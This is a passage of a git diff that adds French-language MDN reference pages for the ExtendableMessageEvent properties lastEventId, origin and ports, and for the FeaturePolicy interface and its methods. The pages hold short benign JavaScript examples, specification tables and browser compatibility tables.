+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("45.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Exemple simple de service workers</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Les serviceWorker sont-ils prêts?</a></li>
+ <li><a href="/en-US/docs/Web/API/Channel_Messaging_API">Cannal de Messagerie</a></li>
+</ul>
diff --git a/files/fr/web/api/extendablemessageevent/lasteventid/index.html b/files/fr/web/api/extendablemessageevent/lasteventid/index.html
new file mode 100644
index 0000000000..a44b88c854
--- /dev/null
+++ b/files/fr/web/api/extendablemessageevent/lasteventid/index.html
@@ -0,0 +1,130 @@
+---
+title: ExtendableMessageEvent.lastEventId
+slug: Web/API/ExtendableMessageEvent/lastEventId
+tags:
+  - API
+  - Experimental
+  - ExtendableMessageEvent
+  - Property
+  - Reference
+  - Service Workers
+  - lastEventID
+translation_of: Web/API/ExtendableMessageEvent/lastEventId
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>La propriété en lecture seule <strong><code>lastEventID</code></strong> de l'interface {{domxref("ExtendableMessageEvent")}} représente, dans <a href="https://developer.mozilla.org/en-US/docs/Web/API/en-US/docs/Server-sent_events/Using_server-sent_events">les évenements envoyés par lle serveur</a>, le dernier ID de l'évenement source.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var myLastEventId = ExtendableMessageEventInstance.lastEventId;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Une {{domxref("DOMString")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code suivant est utilisé, dans un service worker, pour répondre à un message push en envoyant les données reçues par le  {{domxref("PushMessageData")}} au contexte principale, via le <a href="/en-US/docs/Web/API/Channel_Messaging_API">canal de messages</a>. L'objet événement de <code>onmessage</code> sera un <code>ExtendableMessageEvent.</code></p>
+
+<pre class="brush: js">var port;
+
+self.addEventListener('push', function(e) {
+  var obj = e.data.json();
+
+  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+    port.postMessage(obj);
+  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+    port.postMessage(obj);
+  }
+});
+
+self.onmessage = function(e) {
+  console.log(e.lastEventId);
+  port = e.ports[0];
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#extendablemessage-event-lasteventid-attribute', 'ExtendableMessageEvent.lastEventId')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("45.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) have been disabled in the <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Utilisation des Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Exemple simple des service workers</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Est-ce que les service workers sont prêts ?</a></li>
+ <li><a href="/en-US/docs/Web/API/Channel_Messaging_API">Canal de messages</a></li>
+</ul>
diff --git a/files/fr/web/api/extendablemessageevent/origin/index.html b/files/fr/web/api/extendablemessageevent/origin/index.html
new file mode 100644
index 0000000000..ffb8f070f3
--- /dev/null
+++ b/files/fr/web/api/extendablemessageevent/origin/index.html
@@ -0,0 +1,134 @@
+---
+title: ExtendableMessageEvent.origin
+slug: Web/API/ExtendableMessageEvent/origin
+tags:
+  - API
+  - Experimental
+  - ExtendableMessageEvent
+  - Property
+  - Reference
+  - Service Workers
+  - origin
+translation_of: Web/API/ExtendableMessageEvent/origin
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>La propriété en lecture seule <font face="Consolas, Liberation Mono, Courier, monospace"><strong>origin</strong></font> de l'interface {{domxref("ExtendableMessageEvent")}} retourne l'origine du  {{domxref("ServiceWorkerClient")}} qui a envoyé le message.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var myOrigin = ExtendableMessageEventInstance.origin;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Une {{domxref("DOMString")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code suivant est utilisé, dans un service worker, pour répondre à un message push en envoyant les données reçues par le  <a href="https://developer.mozilla.org/fr/docs/Web/API/PushMessageData" title="Cette documentation n'a pas encore été rédigée, vous pouvez aider en contribuant !"><code>PushMessageData</code></a> au contexte principale, via le <a href="https://developer.mozilla.org/en-US/docs/Web/API/Channel_Messaging_API">canal de messages</a>. L'objet événement de <code>onmessage</code> sera un <code>ExtendableMessageEvent.</code></p>
+
+<pre class="brush: js">var port;
+
+self.addEventListener('push', function(e) {
+  var obj = e.data.json();
+
+  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+    port.postMessage(obj);
+  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+    port.postMessage(obj);
+  }
+});
+
+self.onmessage = function(e) {
+  console.log(e.origin);
+  port = e.ports[0];
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#extendablemessage-event-origin-attribute', 'ExtendableMessageEvent.origin')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("45.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Les service workers (et le <a href="/en-US/docs/Web/API/Push_API">Push</a>) ont été désactivés de <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers" style="font-size: 14px; font-weight: normal; line-height: 1.5;">Utilisation des Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test" style="line-height: 1.5;">Exemple simple des service workers</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Est-ce que les service workers sont prêts ?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Channel_Messaging_API">Canal de messages</a></li>
+</ul>
+
+<article id="wikiArticle"> </article>
+
+<p> </p>
diff --git a/files/fr/web/api/extendablemessageevent/ports/index.html b/files/fr/web/api/extendablemessageevent/ports/index.html
new file mode 100644
index 0000000000..3a27d3f199
--- /dev/null
+++ b/files/fr/web/api/extendablemessageevent/ports/index.html
@@ -0,0 +1,129 @@
+---
+title: ExtendableMessageEvent.ports
+slug: Web/API/ExtendableMessageEvent/ports
+tags:
+  - API
+  - Experimental
+  - ExtendableMessageEvent
+  - Property
+  - Reference
+  - Service Workers
+  - ports
+translation_of: Web/API/ExtendableMessageEvent/ports
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>La propriété en lecture seule <font face="Consolas, Liberation Mono, Courier, monospace"><strong>ports</strong></font> de l'interface {{domxref("ExtendableMessageEvent")}} retourne un tableau contenant les objects {{domxref("MessagePort")}} représentants les ports associés aux canaux de messages associés (le canal du message est envoyé).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var myPorts = ExtendableMessageEventInstance.ports;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Un tableau de {{domxref("MessagePort")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code suivant est utilisé, dans un service worker, pour répondre à un message push en envoyant les données reçues par le  <a href="https://developer.mozilla.org/fr/docs/Web/API/PushMessageData" title="Cette documentation n'a pas encore été rédigée, vous pouvez aider en contribuant !"><code>PushMessageData</code></a> au contexte principale, via le <a href="https://developer.mozilla.org/en-US/docs/Web/API/Channel_Messaging_API">canal de messages</a>. L'objet événement de <code>onmessage</code> sera un <code>ExtendableMessageEvent.</code></p>
+
+<pre class="brush: js">var port;
+
+self.addEventListener('push', function(e) {
+  var obj = e.data.json();
+
+  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+    port.postMessage(obj);
+  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+    port.postMessage(obj);
+  }
+});
+
+self.onmessage = function(e) {
+  port = e.ports[0];
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#extendablemessage-event-ports-attribute', 'ExtendableMessageEvent.ports')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("45.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Les service workers (et <a href="/en-US/docs/Web/API/Push_API">Push</a>) on été désactivés dans <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Utilisation des Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Exemple simple des service workers</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Est-ce que les service workers sont prêts ?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Channel_Messaging_API">Canal de messages</a></li>
+</ul>
diff --git a/files/fr/web/api/featurepolicy/allowedfeatures/index.html b/files/fr/web/api/featurepolicy/allowedfeatures/index.html
new file mode 100644
index 0000000000..d4f42561b8
--- /dev/null
+++ b/files/fr/web/api/featurepolicy/allowedfeatures/index.html
@@ -0,0 +1,64 @@
+---
+title: FeaturePolicy.allowedFeatures()
+slug: Web/API/FeaturePolicy/allowedFeatures
+tags:
+  - API
+  - Directive
+  - Feature Policy
+  - Feature-Policy
+  - Reference
+translation_of: Web/API/FeaturePolicy/allowedFeatures
+---
+<p>{{APIRef("Feature Policy API")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">La méthode <strong><code>allowedFeatures()</code></strong> de l'interface {{DOMxRef("FeaturePolicy")}} retourne la liste des noms des directives de fonctionnalités permises par ce Feature Policy. Elle permet l'introspection de directives spécifiques du Feature Policy sur lequel la méthode est appelée. Ainsi, la méthode <code>allowedFeatures()</code> retourne un sous-ensemble de la liste des noms de directives retournée par {{DOMxRef("FeaturePolicy.features", "features()")}}.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">const permissions = <em>FeaturePolicy</em>.allowedFeatures()
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p id="Feature_name">Aucun.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau de chaines de caractères représentant les noms des directives Feature Policy dont l'utilisation de la fonctionnalité associée est permise par le Feature Policy sur laquel est appelée cette méthode.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant affiche toutes les directives permises pour le présent document. Notez que ces fonctionnalités pourraient être restreintes par l'API Permissions, si l'utilisateur n'a pas encore accordé les droits correspondants.</p>
+
+<pre class="brush: js notranslate">// D'abord, récupère l'objet Feature Policy
+const featurePolicy = document.featurePolicy
+
+// Puis demande la liste des foncitonnalités permises
+const permissions = featurePolicy.allowedFeatures()
+
+for (const directive of permissions)
+  console.log(directive)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Feature Policy","","allowsFeature")}}</td>
+   <td>{{Spec2("Feature Policy")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FeaturePolicy.allowedFeatures")}}</p>
diff --git a/files/fr/web/api/featurepolicy/allowsfeature/index.html b/files/fr/web/api/featurepolicy/allowsfeature/index.html
new file mode 100644
index 0000000000..508e15dbb8
--- /dev/null
+++ b/files/fr/web/api/featurepolicy/allowsfeature/index.html
@@ -0,0 +1,76 @@
+---
+title: FeaturePolicy.allowsFeature()
+slug: Web/API/FeaturePolicy/allowsFeature
+tags:
+  - API
+  - Feature Policy
+  - Feature-Policy
+  - Reference
+translation_of: Web/API/FeaturePolicy/allowsFeature
+---
+<div>{{APIRef("Feature Policy API")}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary">La méthode <strong><code>allowsFeature()</code></strong> de l'interface {{DOMxRef("FeaturePolicy")}} permet l'introspection de directives du Feature Policy sur lequel la méthode est appelée. Elle retourne un {{JSxRef("Boolean")}} valant <code>true</code> si et seulement si la fonctionnalité dont le nom de directive est fourni est permise dans le contexte spécifié (ou le contexte par défaut si aucun contexte n'est spécifié).</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">const listePermissions = <em>FeaturePolicy</em>.allowsFeature(&lt;nomDirective&gt;)
+</pre>
+
+<p>ou</p>
+
+<pre class="syntaxbox notranslate">const listePermissions = <em>FeaturePolicy</em>.allowsFeature(&lt;nomDirective&gt;, &lt;origine&gt;)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<h4 id="Nom_de_directive"><code>Nom de directive</code></h4>
+
+<p>Le nom de la directive associée à une fonctionnalité.</p>
+
+<h4 id="Origine_Optional_inline"><code>Origine</code> {{Optional_inline}}</h4>
+
+<p>Une URL d'origine sur lequel vérifier la disponibilité de la fonctionnalité. Si omise, sa valeur par défaut est utilisée.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{JSxRef("Boolean")}} valant <code>true</code> si et seulement si la fonctionnalité est permise.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple demande au document s'il lui est permis par Feature Policy d'utiliser l'API Camera (appareil photo). Notez que l'API Camera pourrait être restreinte par l'API Permissions si l'utilisateur n'a pas encore accordé la permission.</p>
+
+<pre class="brush: js notranslate">// D'abord, récupère le Feature Policy
+const featurePolicy = document.featurePolicy
+
+// Demande si la fonctionnalité est disponible
+const estPermise = featurePolicy.allowsFeature("camera")
+
+if (estPermise)
+  console.log("FP autorise l'appareil photo.")
+
+else
+  console.log("FP n'autorise pas l'appareil photo.")
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Feature Policy","","allowsFeature")}}</td>
+   <td>{{Spec2("Feature Policy")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FeaturePolicy.allowsFeature")}}</p>
diff --git a/files/fr/web/api/featurepolicy/features/index.html b/files/fr/web/api/featurepolicy/features/index.html
new file mode 100644
index 0000000000..c4061ce3a5
--- /dev/null
+++ b/files/fr/web/api/featurepolicy/features/index.html
@@ -0,0 +1,64 @@
+---
+title: FeaturePolicy.features()
+slug: Web/API/FeaturePolicy/features
+tags:
+  - API
+  - Feature Policy
+  - Feature-Policy
+  - Reference
+translation_of: Web/API/FeaturePolicy/features
+---
+<div>{{APIRef("Feature Policy API")}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary">La méthode <strong><code>features()</code></strong> de l'interface {{DOMxRef("FeaturePolicy")}} retourne la liste des noms de directives de fonctionnalités supportées par l'agent utilisateur. Une fonctionnalité dont le nom apparait dans la liste pourrait n'être pas autorisée par le Feature Policy du contexte courant d'exécution ou n'être pas accessible à cause des permissions de l'utilisateur.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">const fonctionnalitésSupportées = <em>FeaturePolicy</em>.features()
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau de chaines de caractères représentant les noms des directives Feature Policy dont la fonctionnalité associée est supportée par l'agent utilisateur.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple affiche dans la console toutes les directives supportées par votre agent utilisateur :</p>
+
+<pre class="brush: js notranslate">// Récupère l'objet Feature Policy
+const featurePolicy = document.featurePolicy
+
+// Récupère la liste des noms de directives de Feature Policy dont les fonctionnalités sont supportées
+const fonctionnalitésSupportées = featurePolicy.features()
+
+// Affiche chaque directive dans la console
+for (const directive of fonctionnalitésSupportées)
+  console.log(directive)
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Feature Policy","","features")}}</td>
+   <td>{{Spec2("Feature Policy")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FeaturePolicy.features")}}</p>
diff --git a/files/fr/web/api/featurepolicy/getallowlistforfeature/index.html b/files/fr/web/api/featurepolicy/getallowlistforfeature/index.html
new file mode 100644
index 0000000000..2134dfc1ae
--- /dev/null
+++ b/files/fr/web/api/featurepolicy/getallowlistforfeature/index.html
@@ -0,0 +1,69 @@
+---
+title: FeaturePolicy.getAllowlistForFeature()
+slug: Web/API/FeaturePolicy/getAllowlistForFeature
+tags:
+  - API
+  - Feature Policy
+  - Feature-Policy
+  - Reference
+translation_of: Web/API/FeaturePolicy/getAllowlistForFeature
+---
+<div>{{APIRef("Feature Policy API")}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary">La méthode <strong><code>getAllowlistForFeature()</code></strong> de {{DOMxRef("FeaturePolicy")}} permet d'obtenir la liste des permissions associée à une fonctionnalité pour ce Feature Policy.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">const listePermissions = <em>FeaturePolicy</em>.getAllowlistForFeature(&lt;fonctionnalité&gt;)
+</pre>
+
+<h3 id="Parameter">Parameter</h3>
+
+<h4 id="Nom_de_fonctionnalité">Nom de fonctionnalité</h4>
+
+<p>Un nom de fonctionnalité doit être fourni.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une <a href="fr/Web/HTTP/Feature_Policy/Using_Feature_Policy">liste de permissions</a> pour la fonctionnalité demandée est retournée.</p>
+
+<h2 id="Erreurs">Erreurs</h2>
+
+<p>La fonction jettera un avertissement si la directive de Feature Policy demandée est inconnue. Toutefois, elle retournera aussi un tableau vide, indiquant que l'utilisation de cette fonctionnalité n'est permise pour aucune origine.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple affiche toutes les origines à qui la directive Feature Policy permet d'utiliser l'API Camera (appareil photo). Notez que l'API Camera pourrait être restreinte par l'API Permissions si l'utilisateur n'a pas encore accordé la permission.</p>
+
+<pre class="brush: js notranslate">// D'abord, récupère l'objet Feature Policy
+const featurePolicy = document.featurePolicy
+
+// Puis demande la liste pour la fonctionnalité "camera"
+const listePermissions = featurePolicy.getAllowlistForFeature("camera")
+
+for (const origine of listePermissions)
+  console.log(origine)
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Feature Policy","","getAllowlistForFeature")}}</td>
+   <td>{{Spec2("Feature Policy")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FeaturePolicy.getAllowlistForFeature")}}</p>
diff --git a/files/fr/web/api/featurepolicy/index.html b/files/fr/web/api/featurepolicy/index.html
new file mode 100644
index 0000000000..e63c2d60af
--- /dev/null
+++ b/files/fr/web/api/featurepolicy/index.html
@@ -0,0 +1,68 @@
+---
+title: FeaturePolicy
+slug: Web/API/FeaturePolicy
+tags:
+  - API
+  - Feature Policy
+  - Feature-Policy
+  - FeaturePolicy
+  - Interface
+  - Permissions
+  - Privileges
+  - Reference
+  - access
+  - accès
+  - delegation
+translation_of: Web/API/FeaturePolicy
+---
+<p>{{APIRef("Feature Policy")}}</p>
+
+<p>L'interface <code>FeaturePolicy</code> de l'<a href="/en-US/docs/Web/HTTP/Feature_Policy">API Feature Policy</a> représente l'ensemble des règles appliquées au contexte d'exécution courant.</p>
+
+<h2 id="Méthodes_de_FeaturePolicy">Méthodes de FeaturePolicy</h2>
+
+<dl>
+ <dt>{{DOMxRef("FeaturePolicy.allowsFeature")}}</dt>
+ <dd>Retourne un Boolean indiquant si une fonctionnalité particulière est activée ou non dans le contexte spécifié.</dd>
+ <dt>{{DOMxRef("FeaturePolicy.features")}}</dt>
+ <dd>Retourne une liste des noms de toutes les fonctionnalités supportées par l'agent utilisateur. Une fonctionnalité dont le nom est dans la liste pourrait ne pas être autorisée par le Feature Policy du contexte courant d'exécution ou n'être pas accessible à cause des permissions de l'utilisateur.</dd>
+ <dt>{{DOMxRef("FeaturePolicy.allowedFeatures")}}</dt>
+ <dd>Retourne une liste des noms des fonctionnalités supportées par l'agent utilisateur et autorisées par le Feature Policy. Notee que les fonctionnaltiés dont le nom est dans la liste pourraient toujours être bloquées par l'absence de permission de l'utilisateur.</dd>
+</dl>
+
+<dl>
+ <dt>{{DOMxRef("FeaturePolicy.getAllowlistForFeature")}}</dt>
+ <dd>Retourne la liste de permissions pour la fonctionnalité spécifiée.</dd>
+</dl>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Feature Policy")}}</td>
+   <td>{{Spec2("Feature Policy")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FeaturePolicy")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Feature-Policy")}}</li>
+ <li><a href="/en-US/docs/Web/Privacy">Anonymat et vie privée, permissions et informations sur la sécurité</a></li>
+</ul>
